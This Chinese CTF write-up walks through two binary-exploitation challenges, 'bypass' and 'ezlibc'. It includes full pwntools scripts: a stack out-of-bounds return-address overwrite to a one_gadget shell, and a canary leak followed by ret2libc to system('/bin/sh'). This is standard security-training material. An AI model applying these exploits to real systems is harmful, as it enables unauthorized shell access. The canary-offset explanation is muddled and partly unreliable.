春秋杯

bypass:

分析:

1

main函数用于处理一个名为.BYPASS的文件,会进行一系列验证操作,验证成功,程序会进入一个函数等待用户输入。程序无直接的后门函数。

可获得libc基地址:

1

1

主要漏洞在sub_400978()函数

1

s,s2,v4三个数组在栈上相邻,有两次循环赋值,循环赋值的结束条件是s[i]=0,memset只清空了s数组,故第一次循环赋值后s2不再是都为0,所以在第二次循环赋值时可以通过第一次给s2的赋值来达到数组越界覆盖返回地址为获取shell地址。(要注意控制好下标i,使能正确覆写到返回地址)

计算i:i位于rbp-2h即v4[526],i有两个字节即v4[526]和v4[527] (为了更好表示才这样写,实际上这种写法是错的),v4[526]=s[531],故i的值为531,十进制的531转换为二进制为1000010011,为了将其表示为16进制需要在前面补零即00000010 00010011,即高位字节’0x02’,低位字节’0x13’ 64位小端序程序低位字节存储在内存的低地址处,高位字节反之,栈是从高地址想低地址生长的,我们是从低地址向高地址覆盖的所以覆盖时要先覆盖低位字节再覆盖高位字节。

因为给了libc版本发现可以直接找one_gadget来获取shell

1
$one_gadget libc.so.6

1

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context(log_level = 'debug',arch = 'amd64')
io = remote('39.106.48.123',42877)
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
#1
io.send(str(1111))#通过第一次检测,仅输入4个字节
io.recvuntil('Invalid\n')
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-libc.sym['puts']#获取libc基地址
#2
io.send(p32(0))
one_gadget=[0x4f2a5,0x4f302,0x10a2fc]
#19是因为512与526之间相差14,循环赋值有5的距离故为14+5=19
payload1=b'KEY: '+b'c'*19+b'\x13'+b'\x02'+b'a'*8+p64(libc_base+one_gadget[1])
#仅有one_gadget[1]的条件达成了所以选它

io.sendline(payload1)

payload2=b'VAL: '+b'b'*(0x200-5)
pause()#暂停一下也可以写sleep(1),不知道为啥不暂停就打不通
io.send(payload2)#为了不被打断所以不能用sendline

io.interactive()

解释:

1

#1处给v7的值是1111故会break出内循环,先获得libc基地址

#2处给v7赋值’\x00\x00\x00\x00’不出内循环进入sub_400978()函数

湘岚杯

ezlibc

分析

一道泄露canary的板子题

checksec:

2

开启了Canary和NX,为动态链接的程序

bug函数:

1

有明显栈溢出漏洞可以用printf输出canary值,接着泄露libc攻击

Canary是位于ebp之前的一串随机数据,用来防止栈上的内容溢出进行某些危险攻击

在bug函数中其实v2即为canary的值,其占用8个字节。

我们都知道Canary 会在栈上添加一个随机值,以保护程序免受缓冲区溢出攻击,但是也会在栈上多占用一些空间。

也就是说:

假如我的 buf 大小为 0x30

如果是 64 位程序,那么 Canary 就会在栈上额外占用 0x08 的空间作为随机值。

也就是说 我的可用空间只有 0x22 。

开启 Canary : RBP 位于 0x22 + 0x08,Canary位于0x30 - 0x08,Return Address位于0x22 + 0x16

而 0x30 + 0x08 在不开启 Canary 的情况下是 Return Address 的地址

关闭 Canary : RBP 位于 0x30,Return Address位于0x30 + 0x08

这时候的 0x30 + 0x08 是 Return Address 的地址。

%s是被\x00截断所以我们只需利用栈溢出吧从buf开始一直到canary前的所有字节覆盖成\x00以外的即可,紧接着把覆盖的字节接收掉,再接收canary。

接着libc攻击即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64',os = 'Linux')
io = process("./ezlibc")
elf=ELF('./ezlibc')
payload1=b'a'*(0x21)+b'b'
io.sendlineafter("flag!",payload1)
io.recvuntil('ab')
Canary=u64(io.recv(8))
Canary=Canary-0X0a
print('Canary:',hex(Canary))

pop_rdi_ret=0x400843
ret=0x40059e
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=0x4006E7
print("puts_plt:",hex(puts_plt))
print("plt_got:",hex(puts_got))
payload2=b'a'*(0x22)+p64(Canary)+b'a'*8+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.recvuntil(b"Maybe UR closer to the key")
io.sendline(payload2)
io.recvuntil(b'\n')

puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
print("puts_addr = " + hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)

libc_base=puts_addr-libc.dump('puts')
system=libc_base+libc.dump('system')
binsh=libc_base+libc.dump('str_bin_sh')

payload3=b'a'*(0x22)+p64(Canary)+b'a'*8+p64(ret)+p64(pop_rdi_ret)+p64(binsh)+p64(system)
io.sendline(payload3)

io.interactive()